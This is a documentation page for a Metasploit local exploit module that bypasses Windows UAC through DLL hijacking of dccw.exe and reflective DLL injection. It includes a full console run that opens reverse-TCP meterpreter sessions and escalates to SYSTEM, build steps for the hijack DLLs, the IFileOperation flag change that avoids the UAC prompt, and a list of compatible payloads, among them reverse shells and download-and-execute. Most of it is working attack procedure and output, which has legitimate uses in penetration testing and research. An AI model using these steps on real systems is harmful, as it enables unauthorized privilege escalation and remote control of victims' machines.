Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS - Metasploit
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Module Overview
Name: Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS
Module: exploit/windows/local/bypassuac_injection_winsxs
Source code: modules/exploits/windows/local/bypassuac_injection_winsxs.rb
Disclosure date: 2017-04-06
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module will bypass Windows UAC by utilizing the trusted publisher certificate through process injection. It will spawn a second shell that has the UAC flag turned off by abusing the way "WinSxS" works in Windows systems. This module uses the Reflective DLL Injection technique to drop only the DLL payload binary instead of three seperate binaries in the standard technique. However, it requires the correct architecture to be selected, (use x64 for SYSWOW64 systems also).
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/windows/local/bypassuac_injection_winsxs
msf exploit(bypassuac_injection_winsxs) > show targets
... a list of targets ...
msf exploit(bypassuac_injection_winsxs) > set TARGET target-id
msf exploit(bypassuac_injection_winsxs) > show options
... show and set options ...
msf exploit(bypassuac_injection_winsxs) > set SESSION session-id
msf exploit(bypassuac_injection_winsxs) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
This module adds a bypass for UAC that relies on DLL hijacking of the dccw.exe process. It has been tested on and supports both x86 and x64 releases of Windows 8, 8.1, 10_1511, 10_1607, and 10_1703. It does not work with any versions of Windows 7.
Not Applicable; works on stock Windows releases.
Running Example:
> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
> set LHOST
LHOST =>
> set LPORT 30009
LPORT => 30009
> show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address
LPORT 30009 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
> run -z
[*] Started reverse TCP handler on :30009
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to
[*] Meterpreter session 1 opened (:30009 -> :50041) at 2017-10-03 12:17:42 -0700
[*] Session 1 created in the background.
> sessions -C sysinfo
[*] Running 'sysinfo' on meterpreter session 1 ()
Computer : WIN10X86-1511
OS : Windows 10 (Build 10586).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 4
Meterpreter : x86/windows
> sessions -C ifconfig
[*] Running 'ifconfig' on meterpreter session 1 ()
Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 2
============
Name : Teredo Tunneling Pseudo-Interface
Hardware MAC : 00:00:00:00:00:00
MTU : 1280
IPv6 Address : 2001:0:4137:9e76:38b8:1e49:3f57:795f
IPv6 Netmask : ffff:ffff:ffff:ffff::
IPv6 Address : fe80::38b8:1e49:3f57:795f
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface 3
============
Name : Intel(R) 82574L Gigabit Network Connection
Hardware MAC : 00:0c:29:73:25:67
MTU : 1500
IPv4 Address :
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::cc97:6548:c10a:f034
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface 6
============
Name : Microsoft ISATAP Adapter #2
Hardware MAC : 00:00:00:00:00:00
MTU : 1280
IPv6 Address : fe80::5efe:c0a8:86a0
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
> sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/windows WIN10X86-1511\msfuser @ WIN10X86-1511 :30009 -> :50041 ()
> use exploit/windows/local/bypassuac_injection_winsxs
> set session 1
session => 1
> set target 0
target => 0
> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
> set lhost
lhost =>
> set lport 30010
lport => 30010
> set verbose true
verbose => true
> show options
Module options (exploit/windows/local/bypassuac_injection_winsxs):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
 LHOST    yes    The listen address
LPORT 30010 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x86
> run -j
[*] Exploit running as background job.
[*] resource (/home/msfuser/rapid7/test_artifacts/test_rc/windows-meterpreter-reverse_tcp-192x168x134x160-30009.rc)> Ruby Code (13 bytes)
[*] Started reverse TCP handler on :30010
[*] resource (/home/msfuser/rapid7/test_artifacts/test_rc/windows-meterpreter-reverse_tcp-192x168x134x160-30009.rc)> Ruby Code (12 bytes)
[+] Windows 10 (Build 10586). may be vulnerable.
[*] UAC is Enabled, checking level...
[*] Checking admin status...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Creating temporary folders...
[*] Uploading the Payload DLL to the filesystem...
[*] Payload DLL 18944 bytes long being uploaded...
[*] Spawning process with Windows Publisher Certificate, to inject into...
[*] Injecting into process ID 3476
[*] Opening process 3476
[*] Injecting struct into 3476
[*] Executing payload
[+] Successfully injected payload in to process: 3476
[*] Sending stage (957487 bytes) to
[*] Meterpreter session 2 opened (:30010 -> :50078) at 2017-10-03 12:19:03 -0700
[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the file specified.
[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the file specified.
[+] All the dropped elements have been successfully removed
> sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/windows WIN10X86-1511\msfuser @ WIN10X86-1511 :30009 -> :50041 ()
2 meterpreter x86/windows WIN10X86-1511\msfuser @ WIN10X86-1511 :30010 -> :50078 ()
> sessions -C getuid
[*] Running 'getuid' on meterpreter session 1 ()
Server username: WIN10X86-1511\msfuser
[*] Running 'getuid' on meterpreter session 2 ()
Server username: WIN10X86-1511\msfuser
> sessions -C getsystem
[*] Running 'getsystem' on meterpreter session 1 ()
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[*] Running 'getsystem' on meterpreter session 2 ()
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
> sessions -C getuid
[*] Running 'getuid' on meterpreter session 1 ()
Server username: WIN10X86-1511\msfuser
[*] Running 'getuid' on meterpreter session 2 ()
Server username: NT AUTHORITY\SYSTEM
> exit -y
Compiling Instructions
Compiling Template DLLs
To build the x86 template dll, use data/templates/src/pe/dll_gdiplus/build.sh
(Requires mingw-w64 package from apt)
cd data/templates/src/pe/dll_gdiplus
./build.sh
cp data/templates/src/pe/dll_gdiplus/template_x86_windows.dll data/templates/template_x86_windows_dccw_gdiplus.dll
To build the x64 binary
(In an x64 VS2013 command prompt)
Z:\metasploit-framework\data\templates\src\pe\dll_gdiplus>cl.exe -LD template.c /Zl /GS- /DBUILDMODE=2 /link /entry:DllMain "kernel32.lib"
cp data/templates/src/pe/dll_gdiplus/template.dll data/templates/template_x64_windows_dccw_gdiplus.dll
Compiling bypassuac-x86.dll and bypassuac-x64.dll
Open the Visual studio solution located in
metasploit-framework/external/source/exploits/bypassuac_injection/
Choose release from the Solution configurations, build the x86 and x64 solutions. The binaries should already
be in the right place.
More information
(From PR)
I decided to create a different module and not to update the one called "bypassuac_injection", because in order to perform a DLL hijacking, I need to create several folders in which insert our malicious DLL. Also, I deleted these files and folders in a different way, instead using the method "register_file_for_cleanup()", so as to be able to remove the created folders and also prevent a very large output.
If you want to understand the module in a deeper way I recommend you to visit the C++ project on my github: https://github.com/L3cr0f/DccwBypassUAC
DLL INJECTION
/metasploit-framework/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp /metasploit-framework/data/post/bypassuac-x64.dll /metasploit-framework/data/post/bypassuac-x86.dll
To perform the DLL hijacking we need to copy the file of our interest to a specific location (in our case "C:\Windows\System32\") using IFileOperation. To do so, first we need to inject a DLL that will perform this task. This DLL is almost the same as the one used in the "bypassuac_injection" module, but, in latest Windows 10 systems (build equal or greater than 15003), the IFileOperation must be invoked in a different way so as to not trigger the UAC prompt. This modification will be:
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK)
to
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK)
Note that this modification does not affect other modules. To conclude this section, I didn't found the code of "/metasploit-framework/data/post/bypassuac-[ARCH].exe" to update it.
DLL HIJACKING
/metasploit-framework/data/templates/template_x86_windows_dccw_gdiplus.dll /metasploit-framework/data/templates/template_x64_windows_dccw_gdiplus.dll /metasploit-framework/data/templates/src/pe/dll_gdiplus/template.c /metasploit-framework/data/templates/src/pe/dll_gdiplus/template.h /metasploit-framework/data/templates/src/pe/dll_gdiplus/template.def /metasploit-framework/data/templates/src/pe/dll_gdiplus/template.rc /metasploit-framework/data/templates/src/pe/dll_gdiplus/build.sh /metasploit-framework/lib/msf/core/exploit/exe.rb /metasploit-framework/lib/msf/util/exe.rb
To execute code at high integrity we need to perform a DLL hijacking, but we cannot use the DLL templates provided by Metasploit since we need to forward some functions to the legit DLL, so we need to create a new couple of DLL templates, which are exactly the same but including the forwarding feature (the way I have implemented does not work on Windows 7). Now, despite working in a successfully way, I think it would be great including this forwarding feature on the fly, I mean, without having to create an additional DLL template. I don't know how this can be done, so if you come up with something, let me know.
Also, to load the previous DLL template we have modified the mentioned "exe.rb" files.
Setup the vulnerable environment
The vulnerable environment setup is the same as the module "bypassuac_injection", we need a meterpreter session, select the architecture (0 for x86 and 1 for x64), select the meterpreter payload based on the architecture we want to execute with high integrity and set the regular parameters of the payload (LHOST, LPORT, etc).
Go back to menu.
Msfconsole Usage
Here is how the windows/local/bypassuac_injection_winsxs exploit module looks in the msfconsole:
msf6 > use exploit/windows/local/bypassuac_injection_winsxs
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac_injection_winsxs) > show info
Name: Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS
Module: exploit/windows/local/bypassuac_injection_winsxs
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-04-06
Provided by:
Ernesto Fernandez "L3cr0f" <[email protected]>
Available targets:
Id Name
-- ----
0 Windows x86
1 Windows x64
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload information:
Description:
This module will bypass Windows UAC by utilizing the trusted
publisher certificate through process injection. It will spawn a
second shell that has the UAC flag turned off by abusing the way
"WinSxS" works in Windows systems. This module uses the Reflective
DLL Injection technique to drop only the DLL payload binary instead
of three seperate binaries in the standard technique. However, it
requires the correct architecture to be selected, (use x64 for
SYSWOW64 systems also).
References:
https://github.com/L3cr0f/DccwBypassUAC
Module Options
This is a complete list of options available in the windows/local/bypassuac_injection_winsxs exploit:
msf6 exploit(windows/local/bypassuac_injection_winsxs) > show options
Module options (exploit/windows/local/bypassuac_injection_winsxs):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x86
Advanced Options
Here is a complete list of advanced options supported by the windows/local/bypassuac_injection_winsxs exploit:
msf6 exploit(windows/local/bypassuac_injection_winsxs) > show advanced
Module advanced options (exploit/windows/local/bypassuac_injection_winsxs):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
Powershell::encode_final_payload false yes Encode final payload for -EncodedCommand
Powershell::encode_inner_payload false yes Encode inner payload for -EncodedCommand
Powershell::exec_in_place false yes Produce PSH without executable wrapper
Powershell::exec_rc4 false yes Encrypt PSH with RC4
Powershell::method reflection yes Payload delivery method (Accepted: net, reflection, old, msil)
Powershell::no_equals false yes Pad base64 until no "=" remains
Powershell::noninteractive true yes Execute powershell without interaction
Powershell::persist false yes Run the payload in a loop
Powershell::prepend_protections_bypass true yes Prepend AMSI/SBL bypass
Powershell::prepend_sleep no Prepend seconds of sleep
Powershell::remove_comspec false yes Produce script calling powershell directly
Powershell::strip_comments true yes Strip comments
Powershell::strip_whitespace false yes Strip whitespace
Powershell::sub_funcs false yes Substitute function names
Powershell::sub_vars true yes Substitute variable names
Powershell::wrap_double_quotes true yes Wraps the -Command argument in single quotes
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadBindPort no Port to bind reverse tcp socket to on target system.
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/local/bypassuac_injection_winsxs module can exploit:
msf6 exploit(windows/local/bypassuac_injection_winsxs) > show targets
Exploit targets:
Id Name
-- ----
0 Windows x86
1 Windows x64
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/bypassuac_injection_winsxs exploit:
msf6 exploit(windows/local/bypassuac_injection_winsxs) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/windows/dllinject/bind_hidden_ipknock_tcp normal No Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
6 payload/windows/dllinject/bind_hidden_tcp normal No Reflective DLL Injection, Hidden Bind TCP Stager
7 payload/windows/dllinject/bind_ipv6_tcp normal No Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
8 payload/windows/dllinject/bind_ipv6_tcp_uuid normal No Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
9 payload/windows/dllinject/bind_named_pipe normal No Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
10 payload/windows/dllinject/bind_nonx_tcp normal No Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
11 payload/windows/dllinject/bind_tcp normal No Reflective DLL Injection, Bind TCP Stager (Windows x86)
12 payload/windows/dllinject/bind_tcp_rc4 normal No Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
13 payload/windows/dllinject/bind_tcp_uuid normal No Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
14 payload/windows/dllinject/reverse_hop_http normal No Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
15 payload/windows/dllinject/reverse_http normal No Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
16 payload/windows/dllinject/reverse_http_proxy_pstore normal No Reflective DLL Injection, Reverse HTTP Stager Proxy
17 payload/windows/dllinject/reverse_ipv6_tcp normal No Reflective DLL Injection, Reverse TCP Stager (IPv6)
18 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
19 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
20 payload/windows/dllinject/reverse_tcp normal No Reflective DLL Injection, Reverse TCP Stager
21 payload/windows/dllinject/reverse_tcp_allports normal No Reflective DLL Injection, Reverse All-Port TCP Stager
22 payload/windows/dllinject/reverse_tcp_dns normal No Reflective DLL Injection, Reverse TCP Stager (DNS)
23 payload/windows/dllinject/reverse_tcp_rc4 normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
24 payload/windows/dllinject/reverse_tcp_rc4_dns normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
25 payload/windows/dllinject/reverse_tcp_uuid normal No Reflective DLL Injection, Reverse TCP Stager with UUID Support
26 payload/windows/dllinject/reverse_winhttp normal No Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
27 payload/windows/dns_txt_query_exec normal No DNS TXT Record Payload Download and Execution
28 payload/windows/download_exec normal No Windows Executable Download (http,https,ftp) and Execute
29 payload/windows/exec normal No Windows Execute Command
30 payload/windows/loadlibrary normal No Windows LoadLibrary Path
31 payload/windows/messagebox normal No Windows MessageBox
32 payload/windows/meterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
33 payload/windows/meterpreter/bind_hidden_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
34 payload/windows/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
35 payload/windows/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
36 payload/windows/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
37 payload/windows/meterpreter/bind_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
38 payload/windows/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
39 payload/windows/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
40 payload/windows/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
41 payload/windows/meterpreter/reverse_hop_http normal No Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
42 payload/windows/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
43 payload/windows/meterpreter/reverse_http_proxy_pstore normal No Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
44 payload/windows/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
45 payload/windows/meterpreter/reverse_https_proxy normal No Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
46 payload/windows/meterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
47 payload/windows/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
48 payload/windows/meterpreter/reverse_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
49 payload/windows/meterpreter/reverse_ord_tcp normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
50 payload/windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager
51 payload/windows/meterpreter/reverse_tcp_allports normal No Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
52 payload/windows/meterpreter/reverse_tcp_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
53 payload/windows/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
54 payload/windows/meterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
55 payload/windows/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
56 payload/windows/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
57 payload/windows/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
58 payload/windows/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline
59 payload/windows/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline
60 payload/windows/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline
61 payload/windows/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline
62 payload/windows/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6)
63 payload/windows/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline
64 payload/windows/metsvc_bind_tcp normal No Windows Meterpreter Service, Bind TCP
65 payload/windows/metsvc_reverse_tcp normal No Windows Meterpreter Service, Reverse TCP Inline
66 payload/windows/patchupdllinject/bind_hidden_ipknock_tcp normal No Windows Inject DLL, Hidden Bind Ipknock TCP Stager
67 payload/windows/patchupdllinject/bind_hidden_tcp normal No Windows Inject DLL, Hidden Bind TCP Stager
68 payload/windows/patchupdllinject/bind_ipv6_tcp normal No Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
69 payload/windows/patchupdllinject/bind_ipv6_tcp_uuid normal No Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
70 payload/windows/patchupdllinject/bind_named_pipe normal No Windows Inject DLL, Windows x86 Bind Named Pipe Stager
71 payload/windows/patchupdllinject/bind_nonx_tcp normal No Windows Inject DLL, Bind TCP Stager (No NX or Win7)
72 payload/windows/patchupdllinject/bind_tcp normal No Windows Inject DLL, Bind TCP Stager (Windows x86)
73 payload/windows/patchupdllinject/bind_tcp_rc4 normal No Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
74 payload/windows/patchupdllinject/bind_tcp_uuid normal No Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
75 payload/windows/patchupdllinject/reverse_ipv6_tcp normal No Windows Inject DLL, Reverse TCP Stager (IPv6)
76 payload/windows/patchupdllinject/reverse_nonx_tcp normal No Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
77 payload/windows/patchupdllinject/reverse_ord_tcp normal No Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
78 payload/windows/patchupdllinject/reverse_tcp normal No Windows Inject DLL, Reverse TCP Stager
79 payload/windows/patchupdllinject/reverse_tcp_allports normal No Windows Inject DLL, Reverse All-Port TCP Stager
80 payload/windows/patchupdllinject/reverse_tcp_dns normal No Windows Inject DLL, Reverse TCP Stager (DNS)
81 payload/windows/patchupdllinject/reverse_tcp_rc4 normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
82 payload/windows/patchupdllinject/reverse_tcp_rc4_dns normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
83 payload/windows/patchupdllinject/reverse_tcp_uuid normal No Windows Inject DLL, Reverse TCP Stager with UUID Support
84 payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
85 payload/windows/patchupmeterpreter/bind_hidden_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
86 payload/windows/patchupmeterpreter/bind_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
87 payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
88 payload/windows/patchupmeterpreter/bind_named_pipe normal No Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
89 payload/windows/patchupmeterpreter/bind_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
90 payload/windows/patchupmeterpreter/bind_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
91 payload/windows/patchupmeterpreter/bind_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
92 payload/windows/patchupmeterpreter/bind_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
93 payload/windows/patchupmeterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
